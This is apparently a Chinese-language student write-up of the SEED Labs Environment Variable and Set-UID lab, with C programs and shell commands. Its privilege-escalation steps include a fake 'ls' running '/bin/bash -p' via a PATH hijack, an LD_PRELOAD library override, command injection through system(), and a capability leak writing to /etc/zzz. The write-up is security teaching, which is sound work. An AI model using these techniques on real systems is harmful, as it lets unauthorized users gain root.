SEED Labs – Environment Variable and Set-UID Program Lab

警告
本文最后更新于 2023-10-08,文中内容可能已过时。

使用printenvenv打印环境变量:

image-20231007172357747

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231007172433298.png

使用exportunset设置或取消设置环境变量:

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231007173709575.png

编译 myprintenv.c,运行结果保存到 file,再改变程序使父进程打印环境变量,运行结果保存到 file2。

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231007175253194.png

结论:file 与 file2 的内容相同,因为运行 a.out 时,子进程继承父进程所有的环境变量。

编译 myenv.c,运行结果保存到 file,再改变execve()的第三个参数为 environ,运行结果保存到 file2。

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231007185212806.png

结论:将 NULL 传入execve()函数,新进程不包含任何环境变量;将 environ 传入execve()函数,当前进程所有环境变量传递给新程序。

system()函数使用execl() 来执行/bin/shexecl()调用execve(),并将环境变量数组传递给它。 因此,使用system(),调用进程的环境变量被传递到新程序/bin/sh。编译 2_4.c 并运行验证。

1
2
3
4
5
6
7
8
/* 2_4.c */
#include <stdio.h>
#include <stdlib.h>
int main()
{
	system("/usr/bin/env");
	return 0 ;
}

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231008190537910.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
/* 2_5.c */
#include <stdio.h>
#include <stdlib.h>

extern char **environ;
int main()
{
	int i = 0;
	while (environ[i] != NULL) {
		printf("%s\n", environ[i]);
		i++;
	}
}

编译上述程序,将其所有权更改为 root,并使其成为 Set-UID 程序。使用export设置如下环境变量。

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231007202620406.png

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231007203048222.png

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231007203113293.png

可以发现LD_LIBRARY_PATH在 Set-UID 进程中被屏蔽掉了。

编译如下程序,将其所有者更改为 root,并将其设为 Set-UID 程序。

1
2
3
4
5
6
7
8
9
/* 2_6.c */
#include <stdio.h>
#include <stdlib.h>

int main()
{
    system("ls");
    return 0;
}
1
2
3
gcc -o 2_6 2_6.c
sudo chown root 2_6
sudo chmod 4755 2_6

恶意代码如下:

1
2
3
4
5
6
7
8
/* ls.c */
#include <stdio.h>
#include <stdlib.h>

int main(){
    system("/bin/bash -p");
    return 0;
}

-p选项告诉 bash 不要使用保护机制,否则 bash 会主动放弃 root 权限。

编译 ls.c 并更改 PATH 环境变量:

1
2
gcc -o ls ls.c
export PATH=.:$PATH

执行 2_6:

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231008194312390.png

恶意代码以 root 权限运行。

1
2
3
4
5
6
7
8
/* mylib.c */
#include <stdio.h>
void sleep (int s)
{
	/* If this is invoked by a privileged program,
	you can do damages here! */
	printf("I am not sleeping!\n");
}

编译:

1
2
gcc -fPIC -g -c mylib.c
gcc -shared -o libmylib.so.1.0.1 mylib.o -lc

设置LD_PRELOAD环境变量:

1
export LD_PRELOAD=./libmylib.so.1.0.1

编译 myprog.c:

1
2
3
4
5
6
7
/* myprog.c */
#include <unistd.h>
int main()
{
	sleep(1);
	return 0;
}

myprog 为常规程序,并以普通用户身份运行:

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231008104707305.png

将 myprog 设为 Set-UID root 程序,并以普通用户身份运行:

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231008104800243.png

睡眠 1 秒。

将 myprog 设为 Set-UID root 程序,在 root 账户下再次导出LD_PRELOAD环境变量并运行:

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231008105334064.png

将 myprog 设为 Set-UID user1 程序(即所有者是 user1,这是另一个用户帐户),在另一个用户帐户(非 root 用户)中再次导出LD_PRELOAD环境变量并运行它:

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231008164227291.png

睡眠 1 秒。

修改 myprog.c 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
/* myprog.c */
#include <unistd.h>

extern char **environ;
int main()
{
	char *argv[] = {"usr/bin/env", NULL};
	sleep(1);
	execve("usr/bin/env", argv, environ);
	return 0;
}

重复上述过程:

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231008123550213.png

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231008123615663.png

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231008123940902.png

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231008170349610.png

当 Set-UID 进程的真实用户 ID 和有效用户 ID 不一样时,将忽略环境变量LD_PRELOADLD_LIBRARY_PATH

编译 catall.c,使其成为 root 拥有的 Set-UID 程序。将 /bin/sh 链接到另一个没有防御对策的 shell —— zsh。

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231008173352610.png

获得 root shell。

使用execve()而非system()

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231008173814236.png

攻击失败。

system()不支持数据和代码的分离,因此攻击者可以把新的指令嵌入输入中,导致攻击代码被执行。execve()将输入分成代码和数据,因此攻击者的输入无法变成代码。

编译 cap_leak.c,将其所有者更改为 root,并将其设为 Set-UID 程序。

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231008175605077.png

利用文件描述符,成功以普通用户身份写入 /etc/zzz 文件。

https://f005.backblazeb2.com/file/img-buckets-oqh/2023/10/image-20231008175757888.png